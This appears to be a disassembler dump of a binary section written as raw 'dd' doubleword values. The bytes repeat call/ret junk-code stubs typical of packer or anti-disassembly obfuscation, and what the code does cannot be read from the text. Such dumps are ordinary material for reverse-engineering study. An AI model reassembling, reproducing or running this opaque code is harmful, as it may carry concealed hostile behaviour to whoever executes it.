dd 83751C10h, 0E901BDBDh, 850F0105h, 3Eh, 0F05F883h, 3585h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 0A19D8B2Bh, 5005E91Ch, 0CAD958Bh, 0B85A05E9h
dd 0
dd 22398D89h, 0BD8305E9h, 5E92681h, 5B840F00h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 3B72C355h, 15AA6C17h, 0D4162A5Ch, 9D9D8960h
dd 0F805E90Ah, 0A0EB8161h, 0B87EB64Fh, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 57C35242h
dd 1A0CB4DDh, 6660015Ch, 858BD98Bh, 5E93055h, 0C083FE8Ah
dd 8589F902h, 5E94DDCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 3C35343h, 0ED239685h, 9589200Eh, 5E90BD9h
dd 0BBFF00C6h, 599B7FAFh, 0D3D8D89h, 85C605E9h, 5E90EE5h
dd 95896053h, 5E90CF9h, 6861D98Ah, 0DCF13512h, 4811CB7h
dd 0C013C624h, 51006A1Fh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 3AB5911h, 14E9h, 5E8AA300h
dd 0EE4AC20h, 103C8F79h, 4FFF5504h, 0BCF0854Dh, 0FF33BB52h
dd 0B5FF2DF6h, 5E91EFDh, 8DD2BF0Fh, 0EC7A6F85h, 0B59D8905h
dd 0FF05E91Dh, 6850FD0h, 89000000h, 0E91F91BDh, 95858905h
dd 6A05E91Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 1EFBC351h, 0D21C0508h, 7166CED5h
dd 2C01BD83h, 0F0105E9h, 0B985h, 0C3DA8000h, 0F78B6061h
dd 1880Fh, 61FC0000h, 0EE585C6h, 0E84505E9h, 10h, 9C43FCF6h
dd 0E8533EE3h, 71AA30D6h, 873EAF77h, 2B99B531h, 685A05E9h
dd 0B1C772FBh, 0C7240481h, 6A2898C5h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F182C351h
dd 17D9D8Bh, 0B58905E9h, 5E90BA1h, 1EFDB5FFh, 895205E9h
dd 0E919B585h, 858D5B05h, 5EC7A6Fh, 2499958Bh, 0D0FF05E9h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 9FC35242h
dd 0C1C25299h, 0C603AD5Eh, 2A79BD89h, 6A05E9h, 0BAD8D89h
dd 0D0FF05E9h, 0BD83DF8Bh, 5E90295h, 0F5850F01h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 0F1DCC350h, 0D29130C3h, 5173A4F8h, 5ADEBF0Fh
dd 3055858Bh, 8E905E9h, 44000000h, 24C61E91h, 0E92C4A86h
dd 79h, 90D6B70Fh, 310F5250h, 44FC5EBBh, 50585A5Dh, 90D88B66h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D7C35343h
dd 936610CEh, 0A9950BC9h, 6605E90Bh, 146AD18Bh, 49F0E381h
dd 95FF4C1Bh, 5E91E95h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 74C35646h, 0F56A0C24h, 1229958Bh, 8B5805E9h
dd 0E91D8595h, 388005h, 0FF81850Fh, 6AFFFFh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 89B069C3h
dd 26E18589h, 958B05E9h, 5E921E9h, 0BB0100C6h, 5D8FC0BEh
dd 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 3039309Bh, 8B612477h, 0E921BD9Dh, 69F28005h
dd 701958Bh, 0BD8305E9h, 5E901B5h, 6B840F00h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 2405C353h, 0FFD44FFh, 68Eh, 21BD2900h, 105E92Ah
dd 0E92B8985h, 66FF6A05h, 3BC0EB81h, 1E9595FFh, 8EBA05E9h
dd 0E92D161Ah, 0FFFFFFE9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 0C1C35545h, 6303B8C8h, 85C7F58Ah, 5E901B5h
dd 1, 0A39AE2BBh, 0E8858934h, 8B05E94Dh, 0E90F459Dh, 50605005h
dd 0FC28B52h, 5A616031h, 2745BF58h, 89612655h, 6A2404h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 0D2E04AC3h, 22F98589h, 606005E9h, 1679958Bh, 6A6105E9h
dd 6D9D3105h, 8D05E90Eh, 0E94E0085h, 18BB6605h, 0F88A9088h
dd 7E850h, 1A430000h, 1C31F989h, 0DE95Eh, 814C0000h, 0B0EC698h
dd 7D286FCh, 5BB84962h, 858DFC90h, 5E94DF0h, 6820Fh, 95010000h
dd 5E905C5h, 0B64AF281h, 0B7901595h, 0AE8500Fh, 78000000h
dd 484CF16Fh, 0EEE2F58Ah, 5A5B5780h, 51006A90h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0F4B27B9Bh
dd 0F8995FFh, 816605E9h, 8DBC98CAh, 0E97C728Dh, 4D9D8B05h
dd 0B05E90Bh, 8D1174C0h, 0E94E0085h, 0D1FF5005h, 4E1E8589h
dd 0AEB05E9h, 4E1E85C7h, 0FFFF05E9h, 6AFFFFh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 0E3BBAFC3h
dd 48BBE14Fh, 6A50523Eh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 72CC353h, 0C3E922Ch
dd 89DC6EE4h, 0E9080D95h, 7D850105h, 6105E926h, 0C6D18B66h
dd 0E90EE585h, 13E94D05h, 8A000000h, 0B1F39B5Bh, 0DAB35DA7h
dd 69D6C36Fh, 0F7E7EC18h, 6268B222h, 52505BAFh, 5ADA8B66h
dd 46240481h, 6A53D9C7h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 0DCDDC357h, 0B05C1B1Ch
dd 106CA522h, 0BB5958Bh, 36005E9h, 0E90E9DBDh, 13E905h
dd 5E830000h, 0A133683Fh, 0B8C973E9h, 7E50C58Ah, 0E6B8359Ah
dd 0B5FF61F9h, 5E91E71h, 189256BAh, 6F858D39h, 6A05EC7Ah
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 0EDE3C355h, 7854EECEh, 81667594h, 0FF770DC2h
dd 658D09D0h, 8905E912h, 0E91DA585h, 199D0305h, 0C605E927h
dd 0E90EE585h, 958B4505h, 5E9104Dh, 4E8h, 72696900h, 50D48A8Eh
dd 2840Fh, 0D98B0000h, 424448Bh, 8BD18Bh, 4489D68Bh, 3580424h
dd 0E91D6995h, 0FDB5FF05h, 6005E91Eh, 9D01CF8Bh, 5E923B1h
dd 29958B61h, 8D05E90Ch, 0EC7A6F85h, 0C58D0105h, 6605E92Ah
dd 54C3E281h, 0CE8D0FFh, 20000000h, 0D3DB537Fh, 73F2EE04h
dd 5A6D9EA8h, 17618589h, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0FD432BC3h, 12E8F5h
dd 84650000h, 265FA83Ah, 0F568E1A9h, 0F2AC26B8h, 58317D19h
dd 8B0Fh, 895A0000h, 0E9227DB5h, 6AD28B05h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 74EDC356h
dd 6860Fh, 8D310000h, 5E91621h, 52D98C66h, 14E960h, 0C0B80000h
dd 0BEE31C44h, 0A78A82A2h, 0EBC3322Ch, 58D5CC7Ah, 810F0F23h
dd 0
dd 0C1F65B61h, 61840F04h, 81000002h, 83487CCBh, 135E96Bh
dd 0BAB60000h, 1D19B58Bh, 6A05E9h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 0AAC7BDC3h, 0C6812BBEh
dd 1180h, 99CFE281h, 0BD837F7Eh, 5E93095h, 74850F00h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 9B6C356h, 0DEB772D3h, 810F0399h, 6, 6859D8Bh
dd 0B7E905E9h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 0FF58C350h, 12E8F368h
dd 0B5000000h, 5B676743h, 8EAA7786h, 0B1EFC155h, 895680EBh
dd 0D98B668Dh, 499D8B5Ah, 8305E92Bh, 840F003Eh, 6Eh, 66DEB70Fh
dd 8505EB81h, 0D5958960h, 2905E924h, 0E90B89BDh, 81146A05h
dd 0C533D0E2h, 9595FF01h, 0E805E91Eh, 13h, 42BB70BCh, 0C8811C02h
dd 36F9AF8h, 0BAF9F008h, 31E27A39h, 0E9318D85h, 6A615B05h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 7CF1C352h, 6B157375h, 8CE92636h, 66FFFFFFh
dd 6C7D68Bh, 1, 83D6BF0Fh, 0E94DE8BDh, 850F0505h, 114h
dd 0FD18EA81h, 0B58B057Ch, 5E91761h, 2AC59D89h, 64B905E9h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 0B408C350h, 0EBFDB109h, 0BA66B62Ch
dd 3E809579h, 49840FE8h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 36BCC356h
dd 29952B71h, 0E92561B5h, 31E905h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 7B49F7C3h
dd 0C2057E80h, 41840Fh, 0DA800000h, 219D8B7Bh, 4605E90Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 74C35242h
dd 0D9BF0F06h, 73850F49h, 66FFFFFFh, 5423C281h, 3FE9h
dd 1BF38100h, 89157F7Ch, 0E91D89B5h, 9E805h, 0BBF10000h
dd 1D23061Dh, 2917653Eh, 0E905C59Dh, 8F0F5B05h, 18h, 0C7816660h
dd 0CE97880h, 23000000h, 0C287A43Ch, 31EC8224h, 61B9B0B9h
dd 0B5896058h, 5E92581h, 49BD8361h, 5E911h, 0EB840Fh, 0BD890000h
dd 5E90ED9h, 0F2816660h, 85C678B4h, 5E90EE5h, 0D18B6654h
dd 28119D0Bh, 976805E9h, 56D75A02h, 5BB0B756h, 2434815Ah
dd 2814BC63h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0F5C35545h, 8960625Ah, 0E92D298Dh, 0E18D2905h
dd 6105E924h, 1EFDB5FFh, 6A05E9h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 4BA940C3h, 0E40D375Eh
dd 13E909h, 1B8A0000h, 7E73C832h, 613A6F5Bh, 0F5840EC9h
dd 0DC85E1BCh, 6F858D24h, 6A05EC7Ah, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 94BDC350h
dd 8D01D0FFh, 5E9178Dh, 0CB81006Ah, 1B87FEEFh, 1149B5FFh
dd 890F05E9h, 6, 7999D31h, 0D0FF05E9h, 8B61DF8Bh, 0E92F4595h
dd 0F185C705h, 105E91Ch, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8FF3C350h
dd 86557596h, 0BD898259h, 5E92A35h, 52006A60h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 89D4C335h
dd 7D15D5E3h, 0B5897E55h, 5E93201h, 8AB7C68h, 0C802BA29h
dd 34814182h, 8ABFC24h, 95896029h, 5E92BADh, 6499529h
dd 6A6105E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 45BBF923h, 0F3FABB5h, 687h, 0C1958B00h
dd 8B05E91Eh, 0E905F995h, 7595FF05h, 6A05E926h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 0FFE7C353h, 0C283321h, 8B813C2Eh, 0E9174995h, 6AB6BB05h
dd 56610C1Eh, 1468BA66h, 0E7BA505Bh, 893D1CC9h, 0D8B62404h
dd 2D61858Bh, 958B05E9h, 5E9220Dh, 109D958Bh, 0C00B05E9h
dd 31840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 0B05F22C3h, 0D32FF96Fh, 0FFD2C280h
dd 0E90F9195h, 3DBD0105h, 0C705E930h, 0E9127D85h, 105h
dd 0DFBF0F00h, 10C1BD83h, 0F0005E9h, 2C84h, 1950B00h, 0FF05E931h
dd 0E92BF195h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 7CA5B258h, 0DDBD8329h
dd 5E91Ch, 1F840Fh, 0C2810000h, 3EBF938h, 4D952952h, 5B05E90Bh
dd 266995FFh, 8B6005E9h, 0E904358Dh, 0F8B70F05h, 5DBD8361h
dd 5E911h, 62840Fh, 9D2B0000h, 5E90F95h, 699D8Bh, 0BD8305E9h
dd 5E9273Dh, 49850F00h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0A58CC350h
dd 99A10396h, 0BC8C8CFCh, 304D8D31h, 0DE905E9h, 0C2000000h
dd 1350905Fh, 0D2085FDh, 59C8B827h, 23995FFh, 958B05E9h
dd 5E923BDh, 0E85BD83h, 0F0005E9h, 4A84h, 0EDB52900h, 8105E911h
dd 0E923B985h, 400305h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 8581A97Ch, 5E905ADh, 4003h
dd 39BD8B60h, 8B05E917h, 0E9236585h, 81666105h, 0FB987DBh
dd 9E95231h, 1B000000h, 635B32B4h, 0B6D54A79h, 128D8D5Ah
dd 6605E95Eh, 95BBD08Bh, 89587343h, 7D9D8901h, 3305E924h
dd 4189F8C2h, 1D9D8B04h, 8B05E904h, 0E92F2195h, 81310F05h
dd 36EFF7D2h, 398D8D7Ah, 6A05E95Eh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0EECEC356h
dd 8B667854h, 3870FD6h, 0F000000h, 189D6B7h, 0CE960h, 54C70000h
dd 0EFB7D9A3h, 7864D857h, 0E960FD04h, 0Bh, 5D2238E3h, 6661E140h
dd 0B921112h, 0E901D595h, 33616105h, 0B1DE80C2h, 0BA044189h
dd 159F7DF5h, 5EDBD83h, 0F0005E9h, 6084h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 9E974CEh, 0F8000000h, 3DB2C0D6h, 0C76369E3h, 6820Fh
dd 95890000h, 5E90505h, 0B9595FFh, 6A05E9h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0BE8F8BC3h
dd 0F68042B6h, 31BD8302h, 105E912h, 67850Fh, 8E0F0000h
dd 15h, 10E9h, 50503700h, 0C4689A53h, 2AB86936h, 0E652F57Ah
dd 47E933h, 81660000h, 8B8C6CDAh, 0E95F98B5h, 6C705h, 8B000000h
dd 0E95D2BB5h, 6C705h, 0CF000000h, 6CB440BBh, 50006A2Eh
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 60AB1049h, 0D487B866h, 7DBD8361h, 5E912h, 17C840Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 3DBA35C3h, 603E01BDh, 65C18166h, 4820FB6h
dd 66000000h, 61536EB9h, 2531BD83h, 0F0105E9h, 10C85h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 0D39F0C07h, 6678A008h, 1717C381h, 4DDC8D8Bh
dd 296005E9h, 0E91E118Dh, 43E78105h, 614D377Fh
dd 6A0001C6h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0FBC4C351h, 0BA7DF380h, 406E9C08h
dd 0DA8B6660h, 0A1653068h, 1379BB1Ch, 34815746h, 0A165B024h
dd 14E81Ch, 0ADFE0000h, 41C2D223h, 182DEF8Dh, 25E9C30h
dd 9E20A020h, 8D89E815h, 5E92BA5h, 37BE605Ah, 615D4F00h
dd 958BFF6Ah, 5E90059h, 267595FFh, 6A05E9h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 8D2922C3h
dd 5E9191Dh, 19B1BA61h, 95FF76EFh, 5E932B1h, 62F38166h
dd 0D6BB6610h, 0DC8D8BC6h, 6A05E94Dh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 6E89C357h
dd 8B6601FEh, 95BD83DEh, 105E931h, 24850Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 1AD098C3h, 0F2816618h, 0C08B4F0Eh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 92C35545h, 0C91A03E1h, 0BA554051h
dd 27591634h, 0A25CBB66h, 164DBD83h, 750005E9h, 21BD8309h
dd 5E911h, 53501A74h, 858BC08Bh, 5E923B9h, 23B98589h, 9D8D05E9h
dd 5EBB8C4h, 585BD3FFh, 1121BD83h, 740005E9h, 8B535018h
dd 0E923B985h, 0B9858905h, 8D05E923h, 0EBB5B39Dh, 5BD3FF05h
dd 29858958h, 0F05E918h, 0C08BD8BFh, 30459509h, 0B58905E9h
dd 5E9108Dh, 127DBD83h, 0F0005E9h, 2985h, 59858900h, 8305E92Bh
dd 0E92569BDh, 840F0005h, 16h, 0EE8h, 0D91E5A00h, 8E0542A4h
dd 11551EFEh, 8A69AC13h, 0BD835BD0h, 5E9127Dh, 16840F00h
dd 89000000h, 0E905D1B5h, 69BD8305h, 5E92Bh, 3840Fh, 0BF0F0000h
dd 7DBD83DEh, 5E912h, 21840Fh, 840F0000h, 5, 90ED59BAh
dd 6D958977h, 8305E91Eh, 0E92B69BDh, 840F0005h, 3
dword_544450 dd 83D6B70Fh, 0E9127DBDh, 840F0005h, 32h, 3175958Bh, 0BD8305E9h
; DATA XREF: ___:off_43CCF4o
dd 5E90DD9h, 1F840F00h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 0EB5EC350h
dd 0BD836D97h, 5E9127Dh, 27840F00h, 89000000h, 0E92301B5h
dd 0A1BD8305h, 5E906h, 14840Fh, 95010000h, 5E90265h, 1CB995FFh
dd 9D8B05E9h, 5E90B01h, 0C08BDE8Bh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 0BDC35040h, 4E2349CFh, 4FB50155h
dd 0DE9h, 0F820EA00h, 2A027882h, 0A8BE291Ch, 0BD831F23h
dd 5E9164Dh, 83097500h, 0E91121BDh, 1A740005h, 0C08B5350h
dd 5AD858Bh, 858905E9h, 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh
dd 0BD83585Bh, 5E91121h, 50187400h, 0AD858B53h, 8905E905h
dd 0E905AD85h, 0CC9D8D05h, 0FF05EBB5h, 6A585BD3h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 4453C356h, 0DE801h, 5710000h, 0F83FEEFBh, 4B3878Bh
dd 80C867CEh, 6A5A20F6h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 160AC353h, 8F3DE6F4h
dd 999D0B30h, 8B05E925h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 662632A1h, 83C3CFBBh
dd 0E9127DBDh, 840F0005h, 4DFh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 46C35040h, 3462C8BBh, 0B310A1E8h
dd 0EE9h, 0F568E100h, 0F2AC26B8h, 58317D19h, 8196F0BFh
dd 923B6EEBh, 1BD8360h, 205E92Ch, 1F840Fh, 0DA8B0000h
dd 31BD83F9h, 105E912h, 0F850Fh, 0AE90000h, 4F000000h
dd 0F4A6F213h, 0D0CE97F6h, 0EDBD8330h, 5E92Ah, 0EC840Fh
dd 85010000h, 5E91DD5h, 10959D03h, 6A6005E9h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 2E2AC350h, 94D780B2h, 4DDC8D8Bh, 0BD0105E9h, 5E92F35h
dd 816601FEh, 0E8FE76F2h, 4, 80h, 8800BA66h, 66525050h
dd 310FD68Bh, 585A56B7h, 424448Bh, 8294BA66h, 6652008Bh
dd 5B4E32BAh, 4244489h, 6A58D18Bh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0CF58C351h
dd 0FF6A413Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 65C35747h, 8589651Fh, 5E9224Dh, 267595FFh, 958B05E9h
dd 5E928D9h, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 7CEF1687h, 10D2805Bh, 4F19D8Bh, 0F6005E9h
dd 8D8BD2B7h, 5E94DDCh, 0F1B7D281h, 1FE4C2Dh, 6893EF80h
dd 0CF3BB2E2h, 0E7B25352h, 4815A5Ah, 0C44D9E24h, 52006A30h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 74DC3586h, 958B30D5h, 5E92D41h, 9D2BFF6Ah, 5E92831h
dd 267595FFh, 9D8B05E9h, 5E90915h, 0CE8h, 0F0C5EA00h, 157A4A7Ch
dd 3BAA72ECh, 0B589502Fh, 5E92F59h, 0E8615A5Bh, 6, 6146023Ch
dd 160F59Dh, 0E92A1995h, 7E905h, 0E5500000h, 0D4D2F5FAh
dd 8D5B615Eh, 0E925D1BDh, 2890F05h, 0B3000000h, 1C4F8BB0h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BC35242h
dd 0ED4122B4h, 0DF8B03D4h, 12E9h, 2E3CCD00h, 0EDFDEB2Ch
dd 0E1831778h, 0B5723902h, 6A54F972h, 0E4E28101h, 5020942Ah
dd 28D0F60h, 8B000000h, 0AE8D1h, 5CB90000h, 0E89CDAEEh
dd 4BE969B9h, 615F6160h, 60240C89h, 0FC18B66h, 38Eh, 0F08B6600h
dd 70858D61h, 905EC44h, 0E901F1BDh, 6AD0FF05h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 6B7CC353h, 2839789Fh, 27899589h, 4F8B05E9h, 0F2816620h
dd 36A87E7h, 0CDB589h, 8A5005E9h, 240C89FEh, 0B9EA8166h
dd 70858DA0h, 8105EC44h, 912655F2h, 6AD0FF2Ch, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 81E6C356h, 803E2AC3h, 31958B08h, 8D05E91Fh, 0E925D1BDh
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 725DB46Ch, 0C36345D1h, 0FEBAA2AAh, 5216A696h
dd 1D119529h, 8B5B05E9h, 8B661C4Fh, 0AD9589DAh, 6A05E92Bh
dd 0AE901h, 0A0760000h, 8CE38AA6h, 0A10396A5h, 0D68B6650h
dd 31240C89h, 0E92865BDh, 70858D05h, 0FF05EC44h, 68A0FD0h
dd 81000000h, 0E05910DBh, 204F8B49h, 890F036Ah, 14h, 8E8h
dd 6F84B800h, 0CC5B254Dh, 719D29C4h, 5A05E92Bh, 0BE9h
dd 0CCFFDC00h, 333A91A8h, 7C64CCFBh, 7FBA6691h, 66575011h
dd 915AD38Bh, 8DD68B66h, 0EC447085h, 0D0FFF805h, 10FCB8BAh
dd 0A1958B09h, 8B05E90Eh, 0E94DDC8Dh, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0B997D716h, 0BC5C72Eh, 1FE6EADh, 1870Fh, 8BFC0000h
dd 0E94DDC85h, 958B5605h, 5E91D3Dh, 6A00FE5Bh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 0F2EDC353h, 0DB9B03F0h, 0BB66739Bh, 16ADEC8h, 38A0Fh
dd 8B660000h, 4E8DFh, 9FFF0000h, 5250FFFFh, 6E8h, 2894ED00h
dd 50D729D7h, 5A310F52h, 310F5A58h, 0B3965CBAh, 50585A4Ah
dd 0A0BB6653h, 448B5A6Ch, 5E90424h, 87000000h, 14A9D3EEh
dd 4489008Bh, 0CE80424h, 0E9000000h, 0B0593499h, 53AC1D99h
dd 5B6FB4F6h, 11E858h, 0A9310000h, 708B33CAh, 1DFFB350h
dd 7AC146E2h, 0BBAF80DAh, 286592B2h, 7A858D5Bh, 6605EC44h
dd 3055F281h, 3820Fh, 0B70F0000h, 52D0FFD2h, 0C8D0Fh, 7E90000h
dd 0FC000000h, 0E22BF8DFh, 835BB794h, 0E92569BDh, 840F0005h
dd 0E6h, 0FE9h, 0DB9D5700h, 94751F35h, 343E0AB0h, 6B3E2B84h
dd 1BDBD83h, 0F0105E9h, 0C585h, 0E2816600h, 8D8D545Ah
dd 5EC4484h, 6AD98B66h, 6DB58903h, 6A05E92Bh, 51006A01h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 8BBA58C6h, 0FD1FFDFh, 16ADEBFh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 11C35545h, 9D895E9Ah, 5E90D71h
dd 6A016Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 4F2CF2C3h, 958B52B0h, 5E91CADh, 81DA815Ah
dd 0FF41F808h, 5BDBE8D1h, 6AFA72h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 1BA175C3h, 4AA3EFE3h
dd 0D88BBF27h, 2809BD89h, 206A05E9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 0FEC35747h, 807E3B7Bh, 0FF6AEEF3h
dd 31E1BD01h, 95FF05E9h, 5E92675h, 119D8Bh, 0B805E9h, 66000000h
dd 121CDA81h, 840FC00Bh, 32h, 88C0Fh, 89520000h, 0E92A89B5h
dd 0BD835A05h, 5E90AA1h, 17840F00h, 0F000000h, 95FFDABFh
dd 5E90B1Dh, 88A0Fh, 870F0000h, 2, 858B6160h, 5E93055h
dd 746CBA66h, 0E90000C6h, 0Dh, 8B917B3Ch, 1FBFCD4Eh, 5BB1BF1Fh
dd 3AF680F8h, 19858958h, 6605E908h
dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 1207C2C3h, 75E4E908h, 13E9DA4Bh, 0A5000000h
dd 0BD7DED20h, 3C0D9F26h, 0BAA0FAEEh, 0F8E0B00Ah, 0C1F65FC2h
dd 7F840F04h, 89000000h, 0E90E7DBDh, 74E905h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 6C7A8BC3h, 8B350F7Fh, 0E91D19B5h, 0DE905h, 7C260000h
dd 5C64ACA0h, 0DFB9962Bh, 81BE4C9Fh, 1180C6h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0DFAF9E9Ah, 0C57325F5h, 8B6635EFh, 4DD5BADAh, 6C709B4h
dd 0
dd 8B5ED68Bh, 0E90B219Dh, 0F88305h, 0BBF840Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0AF12CCC3h, 15E8AA3h, 0E931A9B5h, 1F88305h, 18D850Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0A2CCB9C3h, 0E71D2278h, 219D8BDEh, 0B805E92Eh
dd 0
dd 33199D8Bh, 958905E9h, 5E9102Dh, 840FC00Bh, 0C5h, 32B1D281h
dd 0F8833B34h, 0E8840F01h, 0B7000000h, 0AC8BB79h, 0F8835B40h
dd 6D840F03h, 0E9000000h, 9, 0C6054A49h, 30697E11h, 0B8C7h
dd 98B30000h, 7974BD8Dh, 6A005Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0F67ACC3h, 281h, 0FF5BB700h
dd 53006AE7h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 4D94F02Dh, 0D99958Bh, 958B05E9h, 5E924DDh
dd 1B8h, 0C9DB8000h, 7974BD8Dh, 6A005Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FCAEE8C3h
dd 19CD9D09h, 0E7FF05E9h, 0F5C260BBh, 68BD8D6Ah, 6A05E944h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 2C83C357h, 0BF4346Eh, 0E926B195h, 281E905h
dd 0C7F90000h, 0E94E3785h, 505h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0FE97DCAh
dd 0CA000000h, 5087D206h, 43440580h, 0A700564h, 8D8962FEh
dd 5E90915h, 5B8h, 0D9B70F00h, 91FE9h, 0B1952900h, 8305E90Dh
